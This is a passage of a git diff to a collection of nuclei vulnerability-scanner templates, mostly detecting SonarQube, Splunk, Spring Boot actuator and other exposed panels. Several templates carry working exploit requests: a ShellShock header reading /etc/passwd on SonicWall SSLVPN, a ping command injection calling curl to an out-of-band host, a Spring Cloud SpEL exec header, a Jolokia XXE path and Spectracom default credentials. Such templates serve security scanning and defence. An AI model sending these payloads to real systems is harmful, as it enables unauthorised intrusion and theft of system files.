dhiyaneshDk + severity: info + tags: panel,sonarqube +requests: + - method: GET + path: + - "{{BaseURL}}/sessions/new" + matchers: + - type: word + words: + - "SonarQube" + part: body diff --git a/nuclei-templates/Other/sonarqube-public-projects-10379.yaml b/nuclei-templates/Other/sonarqube-public-projects-10379.yaml new file mode 100644 index 0000000000..a2aad16212 --- /dev/null +++ b/nuclei-templates/Other/sonarqube-public-projects-10379.yaml @@ -0,0 +1,23 @@ +id: sonarqube-public-projects +info: + name: Sonarqube with public projects + author: sickwell + severity: low + tags: sonarqube,misconfig + reference: https://next.sonarqube.com/sonarqube/web_api/api/components/suggestions?internal=true +requests: + - method: GET + path: + - "{{BaseURL}}/api/components/suggestions?recentlyBrowsed=" + matchers-condition: and + matchers: + - type: status + status: + - 200 + - type: word + words: + - '"results":' + - '"items":' + - '"more":' + part: body + condition: and diff --git a/nuclei-templates/Other/sonarqube-public-projects.yaml b/nuclei-templates/Other/sonarqube-public-projects.yaml deleted file mode 100644 index f2f5e5dbf1..0000000000 --- a/nuclei-templates/Other/sonarqube-public-projects.yaml +++ /dev/null @@ -1,24 +0,0 @@ -id: sonarqube-public-projects -info: - name: Sonarqube with public projects - author: sickwell - severity: low - reference: - - https://next.sonarqube.com/sonarqube/web_api/api/components/suggestions?internal=true - tags: sonarqube,misconfig -requests: - - method: GET - path: - - "{{BaseURL}}/api/components/suggestions?recentlyBrowsed=" - matchers-condition: and - matchers: - - type: status - status: - - 200 - - type: word - words: - - '"results":' - - '"items":' - - '"more":' - part: body - condition: and diff --git a/nuclei-templates/Other/sonarqube-token-10382.yaml b/nuclei-templates/Other/sonarqube-token-10382.yaml deleted file mode 100755 index b4f1b1b979..0000000000 --- a/nuclei-templates/Other/sonarqube-token-10382.yaml +++ /dev/null @@ -1,17 +0,0 @@ -id: sonarqube-token - -info: - name: SonarQube Token Disclosure - author: Ice3man - severity: info - tags: exposure,token,sonarqube - -requests: - - method: GET - path: - - "{{BaseURL}}" - extractors: - - type: regex - part: body - regex: - - "sonar.{0,50}(?:\"|'|`)?[0-9a-f]{40}(?:\"|'|`)?" diff --git a/nuclei-templates/Other/sonarqube-token.yaml b/nuclei-templates/Other/sonarqube-token.yaml new file mode 100644 index 0000000000..7fe08cc8f9 --- /dev/null +++ b/nuclei-templates/Other/sonarqube-token.yaml @@ -0,0 +1,15 @@ +id: sonarqube-token +info: + name: SonarQube Token Disclosure + author: Ice3man + severity: info + tags: exposure,token,sonarqube +requests: + - method: GET + path: + - "{{BaseURL}}" + extractors: + - type: regex + part: body + regex: + - "sonar.{0,50}(?:\"|'|`)?[0-9a-f]{40}(?:\"|'|`)?" diff --git a/nuclei-templates/Other/sonicwall-sslvpn-panel-10390.yaml b/nuclei-templates/Other/sonicwall-sslvpn-panel-10390.yaml new file mode 100644 index 0000000000..4025c28287 --- /dev/null +++ b/nuclei-templates/Other/sonicwall-sslvpn-panel-10390.yaml @@ -0,0 +1,16 @@ +id: sonicwall-sslvpn-panel + +info: + name: SonicWall Virtual Office SSLVPN Panel + author: PR3R00T + severity: info + tags: panel,sonicwall + +requests: + - method: GET + path: + - "{{BaseURL}}/cgi-bin/welcome" + matchers: + - type: word + words: + - "Virtual Office" diff --git a/nuclei-templates/Other/sonicwall-sslvpn-panel.yaml b/nuclei-templates/Other/sonicwall-sslvpn-panel.yaml deleted file mode 100644 index 8f24565d45..0000000000 --- a/nuclei-templates/Other/sonicwall-sslvpn-panel.yaml +++ /dev/null @@ -1,14 +0,0 @@ -id: sonicwall-sslvpn-panel -info: - name: SonicWall Virtual Office SSLVPN Panel - author: PR3R00T - severity: info - tags: panel -requests: - - method: GET - path: - - "{{BaseURL}}/cgi-bin/welcome" - matchers: - - type: word - words: - - "Virtual Office" diff --git a/nuclei-templates/Other/sonicwall-sslvpn-shellshock-10393.yaml b/nuclei-templates/Other/sonicwall-sslvpn-shellshock-10393.yaml new file mode 100644 index 0000000000..08446f6447 --- /dev/null +++ b/nuclei-templates/Other/sonicwall-sslvpn-shellshock-10393.yaml @@ -0,0 +1,26 @@ +id: sonicwall-sslvpn-shellshock +info: + name: Sonicwall SSLVPN ShellShock RCE + author: PR3R00T + severity: critical + description: A vulnerability in Sonicwall SSLVPN contains a 'ShellShock' vulnerability which allows remote unauthenticated attackers to execute arbitrary commands. + reference: + - https://twitter.com/chybeta/status/1353974652540882944 + - https://darrenmartyn.ie/2021/01/24/visualdoor-sonicwall-ssl-vpn-exploit/ + tags: shellshock,sonicwall,rce,vpn +requests: + - raw: + - | + GET /cgi-bin/jarrewrite.sh HTTP/1.1 + Host: {{Hostname}} + User-Agent: "() { :; }; echo ; /bin/bash -c 'cat /etc/passwd'" + Accept: */* + matchers-condition: and + matchers: + - type: regex + regex: + - "root:.*:0:0:" + part: body + - type: status + status: + - 200 diff --git a/nuclei-templates/Other/sonicwall-sslvpn-shellshock.yaml b/nuclei-templates/Other/sonicwall-sslvpn-shellshock.yaml deleted file mode 100644 index c80b9a1997..0000000000 --- a/nuclei-templates/Other/sonicwall-sslvpn-shellshock.yaml +++ /dev/null @@ -1,33 +0,0 @@ -id: sonicwall-sslvpn-shellshock -info: - name: Sonicwall SSLVPN - Remote Code Execution (ShellShock) - author: PR3R00T - severity: critical - description: | - Sonicwall SSLVPN contains a 'ShellShock' vulnerability which allows remote unauthenticated attackers to execute arbitrary commands. - reference: - - https://twitter.com/chybeta/status/1353974652540882944 - - https://darrenmartyn.ie/2021/01/24/visualdoor-sonicwall-ssl-vpn-exploit/ - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H - cvss-score: 10.0 - cwe-id: CWE-77 - tags: shellshock,sonicwall,rce,vpn -requests: - - raw: - - | - GET /cgi-bin/jarrewrite.sh HTTP/1.1 - Host: {{Hostname}} - User-Agent: "() { :; }; echo ; /bin/bash -c 'cat /etc/passwd'" - Accept: */* - matchers-condition: and - matchers: - - type: regex - part: body - regex: - - "root:.*:0:0:" - - type: status - status: - - 200 - -# Enhanced by mp on 2022/05/30 diff --git a/nuclei-templates/Other/spark-webui-unauth-10400.yaml b/nuclei-templates/Other/spark-webui-unauth.yaml similarity index 100% rename from nuclei-templates/Other/spark-webui-unauth-10400.yaml rename to nuclei-templates/Other/spark-webui-unauth.yaml diff --git a/nuclei-templates/Other/spectracom-default-login-10403.yaml b/nuclei-templates/Other/spectracom-default-login-10403.yaml new file mode 100644 index 0000000000..07b09fe30a --- /dev/null +++ b/nuclei-templates/Other/spectracom-default-login-10403.yaml @@ -0,0 +1,36 @@ +id: spectracom-default-login + +info: + name: Spectracom Default Login + author: madrobot + severity: medium + tags: spectracom,default-login + +requests: + - raw: + - | + POST /users/login HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + data%5Bbutton%5D=submit&data%5BUser%5D%5Busername%5D={{username}}&data%5BUser%5D%5Bpassword%5D={{password}} + + payloads: + username: + - spadmin + password: + - admin123 + attack: pitchfork + + matchers-condition: and + matchers: + - type: word + words: + - "spectracom" + - "deleted" + part: header + condition: and + + - type: status + status: + - 302 diff --git a/nuclei-templates/Other/spectracom-default-login-10405.yaml b/nuclei-templates/Other/spectracom-default-login-10405.yaml deleted file mode 100644 index c3b83c4f09..0000000000 --- a/nuclei-templates/Other/spectracom-default-login-10405.yaml +++ /dev/null @@ -1,41 +0,0 @@ -id: spectracom-default-login -info: - name: Spectracom Default Login - author: madrobot - severity: high - description: Spectracom default admin credentials were discovered. - tags: spectracom,default-login - reference: - - https://orolia.com/manuals/NC/Content/NC_and_SS/Com/Topics/ADMIN/Passwords.htm - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L - cvss-score: 8.3 - cve-id: - cwe-id: CWE-522 -requests: - - raw: - - | - POST /users/login HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/x-www-form-urlencoded - - data%5Bbutton%5D=submit&data%5BUser%5D%5Busername%5D={{username}}&data%5BUser%5D%5Bpassword%5D={{password}} - payloads: - username: - - spadmin - password: - - admin123 - attack: pitchfork - matchers-condition: and - matchers: - - type: word - words: - - "spectracom" - - "deleted" - part: header - condition: and - - type: status - status: - - 302 - -# Enhanced by mp on 2022/03/11 diff --git a/nuclei-templates/Other/sphider-login-10409.yaml b/nuclei-templates/Other/sphider-login-10409.yaml new file mode 100644 index 0000000000..cdfd9f13e8 --- /dev/null +++ b/nuclei-templates/Other/sphider-login-10409.yaml @@ -0,0 +1,25 @@ +id: sphider-login + +info: + name: Sphider Admin Login + author: dhiyaneshDK + severity: info + reference: https://www.exploit-db.com/ghdb/6641 + tags: panel + +requests: + - method: GET + path: + - '{{BaseURL}}/admin/spider.php' + - '{{BaseURL}}/sphider/admin/admin.php' + - '{{BaseURL}}/search/admin/admin.php' + + stop-at-first-match: true + matchers-condition: and + matchers: + - type: word + words: + - 'Sphider Admin Login' + - type: status + status: + - 200 diff --git a/nuclei-templates/Other/sphider-login.yaml b/nuclei-templates/Other/sphider-login.yaml deleted file mode 100644 index 59e7e8b72e..0000000000 --- a/nuclei-templates/Other/sphider-login.yaml +++ /dev/null @@ -1,21 +0,0 @@ -id: sphider-login -info: - name: Sphider Admin Login - author: dhiyaneshDK - severity: info - reference: https://www.exploit-db.com/ghdb/6641 - tags: panel -requests: - - method: GET - path: - - '{{BaseURL}}/admin/spider.php' - - '{{BaseURL}}/sphider/admin/admin.php' - - '{{BaseURL}}/search/admin/admin.php' - matchers-condition: and - matchers: - - type: word - words: - - 'Sphider Admin Login' - - type: status - status: - - 200 diff --git a/nuclei-templates/Other/spidercontrol-scada-server-info-10411.yaml b/nuclei-templates/Other/spidercontrol-scada-server-info-10411.yaml new file mode 100644 index 0000000000..68ebd6be19 --- /dev/null +++ b/nuclei-templates/Other/spidercontrol-scada-server-info-10411.yaml @@ -0,0 +1,30 @@ +id: spidercontrol-scada-server-info + +info: + name: SpiderControl SCADA Web Server Info Exposure + author: geeknik + description: Numerous, market-leading OEM manufacturers - from a wide variety of industries - rely on SpiderControl. + reference: https://spidercontrol.net/spidercontrol-inside/ + severity: high + tags: spidercontrol,scada,exposure + +requests: + - method: GET + path: + - '{{BaseURL}}/cgi-bin/GetSrvInfo.exe' + matchers-condition: and + matchers: + - type: status + status: + - 200 + - type: word + words: + - "powered by SpiderControl" + - "LSWEBSERVER" + - "SCWEBSERVICES" + condition: and + extractors: + - type: kval + part: header + kval: + - Server diff --git a/nuclei-templates/Other/spidercontrol-scada-server-info-10413.yaml b/nuclei-templates/Other/spidercontrol-scada-server-info-10413.yaml deleted file mode 100644 index 9a520600ed..0000000000 --- a/nuclei-templates/Other/spidercontrol-scada-server-info-10413.yaml +++ /dev/null @@ -1,28 +0,0 @@ -id: spidercontrol-scada-server-info -info: - name: SpiderControl SCADA Web Server Info Exposure - author: geeknik - description: Numerous, market-leading OEM manufacturers - from a wide variety of industries - rely on SpiderControl. - reference: https://spidercontrol.net/spidercontrol-inside/ - severity: high - tags: spidercontrol,scada,exposure -requests: - - method: GET - path: - - '{{BaseURL}}/cgi-bin/GetSrvInfo.exe' - matchers-condition: and - matchers: - - type: status - status: - - 200 - - type: word - words: - - "powered by SpiderControl" - - "LSWEBSERVER" - - "SCWEBSERVICES" - condition: and - extractors: - - type: kval - part: header - kval: - - Server diff --git a/nuclei-templates/Other/splunk-enterprise-panel-10415.yaml b/nuclei-templates/Other/splunk-enterprise-panel.yaml similarity index 100% rename from nuclei-templates/Other/splunk-enterprise-panel-10415.yaml rename to nuclei-templates/Other/splunk-enterprise-panel.yaml diff --git a/nuclei-templates/Other/splunk-login-10419.yaml b/nuclei-templates/Other/splunk-login-10419.yaml deleted file mode 100644 index 0e1184730e..0000000000 --- a/nuclei-templates/Other/splunk-login-10419.yaml +++ /dev/null @@ -1,19 +0,0 @@ -id: splunk-login -info: - name: Splunk SOAR - author: dhiyaneshDK - severity: info - reference: https://www.shodan.io/search?query=http.title%3A%22Splunk+SOAR%22 - tags: panel,splunk -requests: - - method: GET - path: - - '{{BaseURL}}/login?next=/' - matchers-condition: and - matchers: - - type: word - words: - - 'Splunk SOAR' - - type: status - status: - - 200 diff --git a/nuclei-templates/Other/splunk-login.yaml b/nuclei-templates/Other/splunk-login.yaml new file mode 100644 index 0000000000..1cdc420015 --- /dev/null +++ b/nuclei-templates/Other/splunk-login.yaml @@ -0,0 +1,23 @@ +id: splunk-login + +info: + name: Splunk SOAR + author: dhiyaneshDK + severity: info + reference: https://www.shodan.io/search?query=http.title%3A%22Splunk+SOAR%22 + tags: panel,splunk + +requests: + - method: GET + path: + - '{{BaseURL}}/login?next=/' + + matchers-condition: and + matchers: + - type: word + words: + - 'Splunk SOAR' + + - type: status + status: + - 200 diff --git a/nuclei-templates/Other/spon-ip-rce(1).yaml b/nuclei-templates/Other/spon-ip-rce.yaml similarity index 100% rename from nuclei-templates/Other/spon-ip-rce(1).yaml rename to nuclei-templates/Other/spon-ip-rce.yaml diff --git a/nuclei-templates/Other/sponip-network-system-ping-rce-10421.yaml b/nuclei-templates/Other/sponip-network-system-ping-rce-10421.yaml deleted file mode 100644 index e60a99688b..0000000000 --- a/nuclei-templates/Other/sponip-network-system-ping-rce-10421.yaml +++ /dev/null @@ -1,24 +0,0 @@ -id: sponip-network-system-ping-rce - -info: - name: Sponip Network System Ping RCE - author: pikpikcu - severity: critical - reference: https://mp.weixin.qq.com/s?__biz=Mzg3NDU2MTg0Ng==&mid=2247486018&idx=1&sn=d744907475a4ea9ebeb26338c735e3e9 - tags: sponip,rce,oast,network - -requests: - - raw: - - | - POST /php/ping.php HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/x-www-form-urlencoded - - sondata[ip]=a|curl {{interactsh-url}}&jsondata[type]=1 - - matchers: - - type: word - part: interactsh_protocol - name: http - words: - - "http" diff --git a/nuclei-templates/Other/sponip-network-system-ping-rce-10422.yaml b/nuclei-templates/Other/sponip-network-system-ping-rce-10422.yaml new file mode 100644 index 0000000000..0e1ef52f1a --- /dev/null +++ b/nuclei-templates/Other/sponip-network-system-ping-rce-10422.yaml @@ -0,0 +1,30 @@ +id: sponip-network-system-ping-rce +info: + name: Sponip Network System Ping - Remote Code Execution + author: pikpikcu + severity: critical + description: | + Sponip Network System Ping is susceptible to remote code execution. + reference: + - https://mp.weixin.qq.com/s?__biz=Mzg3NDU2MTg0Ng==&mid=2247486018&idx=1&sn=d744907475a4ea9ebeb26338c735e3e9 + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H + cvss-score: 10.0 + cwe-id: CWE-77 + tags: sponip,rce,oast,network +requests: + - raw: + - | + POST /php/ping.php HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + sondata[ip]=a|curl {{interactsh-url}}&jsondata[type]=1 + matchers: + - type: word + part: interactsh_protocol + name: http + words: + - "http" + +# Enhanced by mp on 2022/05/30 diff --git a/nuclei-templates/Other/spoofable-spf-records-ptr-10425.yaml b/nuclei-templates/Other/spoofable-spf-records-ptr-10425.yaml deleted file mode 100644 index e1a76cfb37..0000000000 --- a/nuclei-templates/Other/spoofable-spf-records-ptr-10425.yaml +++ /dev/null @@ -1,19 +0,0 @@ -id: spoofable-spf-records-ptr - -info: - name: Find spoofable SPF records containing the PTR mechanism - author: binaryfigments - severity: info - description: Check if TXT records in DNS for SPF records that have the PTR mechanism that is spoofable. - tags: dns,spf - -dns: - - name: "{{FQDN}}" - type: TXT - - matchers: - - type: word - words: - - "v=spf1" - - " ptr " - condition: and \ No newline at end of file diff --git a/nuclei-templates/Other/spoofable-spf-records-ptr-10427.yaml b/nuclei-templates/Other/spoofable-spf-records-ptr-10427.yaml new file mode 100644 index 0000000000..993131749a --- /dev/null +++ b/nuclei-templates/Other/spoofable-spf-records-ptr-10427.yaml @@ -0,0 +1,22 @@ +id: spoofable-spf-records-ptr +info: + name: Spoofable SPF Records with PTR Mechanism + author: binaryfigments + severity: info + description: SPF records in DNS containing a PTR mechanism are spoofable. + reference: + - https://www.digitalocean.com/community/tutorials/how-to-use-an-spf-record-to-prevent-spoofing-improve-e-mail-reliability + classification: + cwe-id: CWE-200 + tags: dns,spf +dns: + - name: "{{FQDN}}" + type: TXT + matchers: + - type: word + words: + - "v=spf1" + - " ptr " + condition: and + +# Enhanced by mp on 2022/03/14 diff --git a/nuclei-templates/Other/springForShell-CVE-2022-22963.yaml b/nuclei-templates/Other/springForShell-CVE-2022-22963.yaml new file mode 100644 index 0000000000..f28360d6a7 --- /dev/null +++ b/nuclei-templates/Other/springForShell-CVE-2022-22963.yaml @@ -0,0 +1,44 @@ +id: CVE-2022-22963 + +info: + name: CVE-2022-22963 - Spring Cloud RCE + author: rdnt + severity: critical + description: RCE on Spring cloud function SPEL + tags: cve,rce,spring,cve2022,injection + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2022-22963 + cwe-id: CWE-770 + +requests: + - method: POST + path: + - "{{RootURL}}/functionRouter" + - "{{RootURL}}/api/functionRouter" + - "{{RootURL}}/api/v1/functionRouter" + - "{{RootURL}}/../../../../../../functionRouter" + - "{{RootURL}}/../../../../../../;functionRouter" + - "{{RootURL}}/spring/functionRouter" + - "{{RootURL}}/admin/functionRouter" + - "{{RootURL}}/../../../../../../../../functionRouter" + - "{{RootURL}}../../../../../../../../api/functionRouter" + - "{{RootURL}}../../../../../../../../api/v1/functionRouter" + - "{{RootURL}}%2f%2e%2e%2f%2e%2e%2ffunctionRouter" + - "{{RootURL}}%2fspring%2ffunctionRouter" + - "{{RootURL}}%2fadmin%2functionRouter" + headers: + spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("") + Content-Type: application/x-www-form-urlencoded + body: exp + + matchers-condition: and + matchers: + - type: word + part: body + words: + - 'functionRouter' + - type: status + status: + - 500 \ No newline at end of file diff --git a/nuclei-templates/CVE-2022/cve-2022-22965.yaml b/nuclei-templates/Other/springForShell-CVE-2022-22965.yaml similarity index 100% rename from nuclei-templates/CVE-2022/cve-2022-22965.yaml rename to nuclei-templates/Other/springForShell-CVE-2022-22965.yaml diff --git a/nuclei-templates/Other/springboot-actuator-10433.yaml b/nuclei-templates/Other/springboot-actuator-10433.yaml deleted file mode 100644 index 005aad947e..0000000000 --- a/nuclei-templates/Other/springboot-actuator-10433.yaml +++ /dev/null @@ -1,31 +0,0 @@ -id: springboot-actuator - -info: - name: Detect Springboot Actuators - author: that_juan_,dwisiswant0,wdahlenb - severity: info - tags: tech,springboot,actuator - -requests: - - method: GET - path: - - "{{BaseURL}}" - - "{{BaseURL}}/actuator" - - "{{BaseURL}}/favicon.ico" - - "{{BaseURL}}/actuator/favicon.ico" - - stop-at-first-match: true - matchers-condition: or - matchers: - - type: word - part: body - words: - - '"_links":' - - '"self":' - - '"health"' - condition: and - - - type: dsl - name: "favicon" - dsl: - - "status_code==200 && (\"116323821\" == mmh3(base64_py(body)))" diff --git a/nuclei-templates/Other/springboot-actuator.yaml b/nuclei-templates/Other/springboot-actuator.yaml new file mode 100644 index 0000000000..e40ac9a553 --- /dev/null +++ b/nuclei-templates/Other/springboot-actuator.yaml @@ -0,0 +1,27 @@ +id: springboot-actuator +info: + name: Detect Springboot Actuators + author: that_juan_,dwisiswant0,wdahlenb + severity: info + tags: tech,springboot,actuator +requests: + - method: GET + path: + - "{{BaseURL}}" + - "{{BaseURL}}/actuator" + - "{{BaseURL}}/favicon.ico" + - "{{BaseURL}}/actuator/favicon.ico" + stop-at-first-match: true + matchers-condition: or + matchers: + - type: word + part: body + words: + - '"_links":' + - '"self":' + - '"health"' + condition: and + - type: dsl + name: "favicon" + dsl: + - "status_code==200 && (\"116323821\" == mmh3(base64_py(body)))" diff --git a/nuclei-templates/Other/springboot-actuators-jolokia-xxe-10428.yaml b/nuclei-templates/Other/springboot-actuators-jolokia-xxe-10428.yaml deleted file mode 100644 index 8df6d19797..0000000000 --- a/nuclei-templates/Other/springboot-actuators-jolokia-xxe-10428.yaml +++ /dev/null @@ -1,26 +0,0 @@ -id: springboot-actuators-jolokia-xxe -info: - name: Spring Boot Actuators (Jolokia) XXE - author: dwisiswant0 - severity: high -requests: - - method: GET - path: - - "{{BaseURL}}:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/nonexistent:31337!/logback.xml" - - "{{BaseURL}}/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/nonexistent:31337!/logback.xml" - matchers-condition: and - matchers: - - type: status - status: - - 200 - - type: word - words: - - "http:\\/\\/nonexistent:31337\\/logback.xml" - - "reloadByURL" - - "JoranException" - condition: and - part: body - - type: word - words: - - "X-Application-Context" - part: header diff --git a/nuclei-templates/Other/springboot-actuators-jolokia-xxe-10432.yaml b/nuclei-templates/Other/springboot-actuators-jolokia-xxe-10432.yaml new file mode 100644 index 0000000000..8d86dd794f --- /dev/null +++ b/nuclei-templates/Other/springboot-actuators-jolokia-xxe-10432.yaml @@ -0,0 +1,31 @@ +id: springboot-actuators-jolokia-xxe + +info: + name: Spring Boot Actuators (Jolokia) XXE + author: dwisiswant0,ipanda + severity: high + description: A vulnerability in Spring Boot Actuators's 'jolokia' endpoint allows remote attackers to perform an XML External Entities (XXE) attack and include content stored on a remote server as if it was its own. This has the potential to allow the execution of arbitrary code and/or disclosure of sensitive information from the target machine. + reference: + - https://www.veracode.com/blog/research/exploiting-spring-boot-actuators + - https://github.com/mpgn/Spring-Boot-Actuator-Exploit + tags: springboot,jolokia,xxe + +requests: + - method: GET + path: + - "{{BaseURL}}/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/nonexistent:31337!/logback.xml" + - "{{BaseURL}}/actuator/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/random:915!/logback.xml" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + part: body + words: + - "http:\\/\\/nonexistent:31337\\/logback.xml" + - "reloadByURL" + - "JoranException" + condition: and \ No newline at end of file diff --git a/nuclei-templates/Other/springboot-autoconfig-10437.yaml b/nuclei-templates/Other/springboot-autoconfig-10437.yaml new file mode 100644 index 0000000000..e120711b1e --- /dev/null +++ b/nuclei-templates/Other/springboot-autoconfig-10437.yaml @@ -0,0 +1,28 @@ +id: springboot-autoconfig + +info: + name: Detect Springboot autoconfig Actuator + author: pussycat0x + severity: low + description: Displays an auto-configuration report showing all auto-configuration candidates and the reason why they 'were' or 'were not' applied. + tags: springboot,exposure + +requests: + - method: GET + path: + - "{{BaseURL}}/autoconfig" + - "{{BaseURL}}/actuator/autoconfig" + + matchers-condition: and + matchers: + - type: word + part: body + words: + - "positiveMatches" + - "AuditAutoConfiguration#auditListener" + - "EndpointAutoConfiguration#beansEndpoint" + condition: and + + - type: status + status: + - 200 diff --git a/nuclei-templates/Other/springboot-autoconfig.yaml b/nuclei-templates/Other/springboot-autoconfig.yaml deleted file mode 100644 index 22ed254bed..0000000000 --- a/nuclei-templates/Other/springboot-autoconfig.yaml +++ /dev/null @@ -1,24 +0,0 @@ -id: springboot-autoconfig -info: - name: Detect Springboot autoconfig Actuator - author: pussycat0x - severity: low - description: Displays an auto-configuration report showing all auto-configuration candidates and the reason why they 'were' or 'were not' applied. - tags: springboot,exposure -requests: - - method: GET - path: - - "{{BaseURL}}/autoconfig" - - "{{BaseURL}}/actuator/autoconfig" - matchers-condition: and - matchers: - - type: word - part: body - words: - - "positiveMatches" - - "AuditAutoConfiguration#auditListener" - - "EndpointAutoConfiguration#beansEndpoint" - condition: and - - type: status - status: - - 200 diff --git a/nuclei-templates/Other/springboot-beans-10439.yaml b/nuclei-templates/Other/springboot-beans-10439.yaml new file mode 100644 index 0000000000..1ed764c5e9 --- /dev/null +++ b/nuclei-templates/Other/springboot-beans-10439.yaml @@ -0,0 +1,32 @@ +id: springboot-beans +info: + name: Detect Springboot Beans Actuator + author: ajaysenr + severity: low + description: Displays a complete list of all the Spring beans in the application + tags: springboot,exposure +requests: + - method: GET + path: + - "{{BaseURL}}/beans" + - "{{BaseURL}}/actuator/beans" + matchers-condition: and + matchers: + - type: word + part: body + words: + - '"type"' + - '"beans"' + - '"dependencies"' + - '"scope"' + condition: and + - type: status + status: + - 200 + - type: word + words: + - "application/json" + - "application/vnd.spring-boot.actuator" + - "application/vnd.spring-boot.actuator.v1+json" + condition: or + part: header diff --git a/nuclei-templates/Other/springboot-beans-10440.yaml b/nuclei-templates/Other/springboot-beans-10440.yaml deleted file mode 100644 index 3bcbd4f668..0000000000 --- a/nuclei-templates/Other/springboot-beans-10440.yaml +++ /dev/null @@ -1,33 +0,0 @@ -id: springboot-beans -info: - name: Detect Springboot Beans Actuator - author: ajaysenr - severity: low - description: Displays a complete list of all the Spring beans in the application - tags: springboot,exposure -requests: - - method: GET - path: - - "{{BaseURL}}/beans" - - "{{BaseURL}}/actuator/beans" - stop-at-first-match: true - matchers-condition: and - matchers: - - type: word - part: body - words: - - '"type"' - - '"beans"' - - '"dependencies"' - - '"scope"' - condition: and - - type: status - status: - - 200 - - type: word - words: - - "application/json" - - "application/vnd.spring-boot.actuator" - - "application/vnd.spring-boot.actuator.v1+json" - condition: or - part: header diff --git a/nuclei-templates/Other/springboot-configprops-10445.yaml b/nuclei-templates/Other/springboot-configprops-10443.yaml similarity index 100% rename from nuclei-templates/Other/springboot-configprops-10445.yaml rename to nuclei-templates/Other/springboot-configprops-10443.yaml diff --git a/nuclei-templates/Other/spring-boot-actuators.yaml b/nuclei-templates/Other/springboot-detect.yaml similarity index 100% rename from nuclei-templates/Other/spring-boot-actuators.yaml rename to nuclei-templates/Other/springboot-detect.yaml diff --git a/nuclei-templates/Other/springboot-dump-10446.yaml b/nuclei-templates/Other/springboot-dump-10446.yaml deleted file mode 100644 index 6002fe9b4a..0000000000 --- a/nuclei-templates/Other/springboot-dump-10446.yaml +++ /dev/null @@ -1,27 +0,0 @@ -id: springboot-dump -info: - name: Detect Springboot Dump Actuator - author: pussycat0x - severity: low - description: Performs a thread dump - tags: springboot,exposure -requests: - - method: GET - path: - - "{{BaseURL}}/dump" - - "{{BaseURL}}/actuator/dump" - matchers-condition: and - matchers: - - type: word - part: body - words: - - "threadName" - - "threadId" - - "waitedTime" - - "lockName" - - "stackTrace" - - "methodName" - condition: and - - type: status - status: - - 200 diff --git a/nuclei-templates/Other/springboot-dump-10447.yaml b/nuclei-templates/Other/springboot-dump-10447.yaml new file mode 100644 index 0000000000..a4d6571c3d --- /dev/null +++ b/nuclei-templates/Other/springboot-dump-10447.yaml @@ -0,0 +1,31 @@ +id: springboot-dump + +info: + name: Detect Springboot Dump Actuator + author: pussycat0x + severity: low + description: Performs a thread dump + tags: springboot,exposure + +requests: + - method: GET + path: + - "{{BaseURL}}/dump" + - "{{BaseURL}}/actuator/dump" + + matchers-condition: and + matchers: + - type: word + part: body + words: + - "threadName" + - "threadId" + - "waitedTime" + - "lockName" + - "stackTrace" + - "methodName" + condition: and + + - type: status + status: + - 200 diff --git a/nuclei-templates/Other/springboot-env-10450.yaml b/nuclei-templates/Other/springboot-env-10450.yaml index 5fed76e721..a13d6f7bc0 100644 --- a/nuclei-templates/Other/springboot-env-10450.yaml +++ b/nuclei-templates/Other/springboot-env-10450.yaml @@ -1,15 +1,19 @@ id: springboot-env + info: name: Detect Springboot Env Actuator author: that_juan_,dwisiswant0,wdahlenb,philippedelteil severity: low description: Sensitive environment variables may not be masked tags: springboot,exposure + requests: - method: GET path: - "{{BaseURL}}/env" - "{{BaseURL}}/actuator/env" + + stop-at-first-match: true matchers-condition: and matchers: - type: word @@ -18,20 +22,23 @@ requests: - "applicationConfig" - "activeProfiles" condition: or + - type: word part: body words: - "server.port" - "local.server.port" condition: or - - type: status - status: - - 200 + - type: word + part: header words: - "application/json" - "application/vnd.spring-boot.actuator" - "application/vnd.spring-boot.actuator.v1+json" - "application/vnd.spring-boot.actuator.v2+json" condition: or - part: header + + - type: status + status: + - 200 diff --git a/nuclei-templates/Other/springboot-gateway-10453.yaml b/nuclei-templates/Other/springboot-gateway-10453.yaml index e9bd72d0ef..f753b4ffbf 100644 --- a/nuclei-templates/Other/springboot-gateway-10453.yaml +++ b/nuclei-templates/Other/springboot-gateway-10453.yaml @@ -1,4 +1,5 @@ id: springboot-gateway + info: name: Detect Spring Gateway Actuator author: wdahlenb @@ -6,11 +7,13 @@ info: description: Sensitive environment variables may not be masked tags: springboot,exposure reference: https://wya.pl/2021/12/20/bring-your-own-ssrf-the-gateway-actuator/ + requests: - method: GET path: - "{{BaseURL}}/gateway/routes" - "{{BaseURL}}/actuator/gateway/routes" + stop-at-first-match: true matchers-condition: and matchers: @@ -20,10 +23,12 @@ requests: - "predicate" - "route_id" condition: and + - type: word part: header words: - "application/json" + - type: status status: - 200 diff --git a/nuclei-templates/Other/springboot-h2-db-rce.yaml b/nuclei-templates/Other/springboot-h2-db-rce-10455.yaml similarity index 100% rename from nuclei-templates/Other/springboot-h2-db-rce.yaml rename to nuclei-templates/Other/springboot-h2-db-rce-10455.yaml diff --git a/nuclei-templates/Other/springboot-health-10459.yaml b/nuclei-templates/Other/springboot-health-10459.yaml deleted file mode 100644 index 42339354c4..0000000000 --- a/nuclei-templates/Other/springboot-health-10459.yaml +++ /dev/null @@ -1,28 +0,0 @@ -id: springboot-health - -info: - name: Detect Springboot Health Actuator - author: pussycat0x - severity: info - description: Additional routes may be displayed - tags: 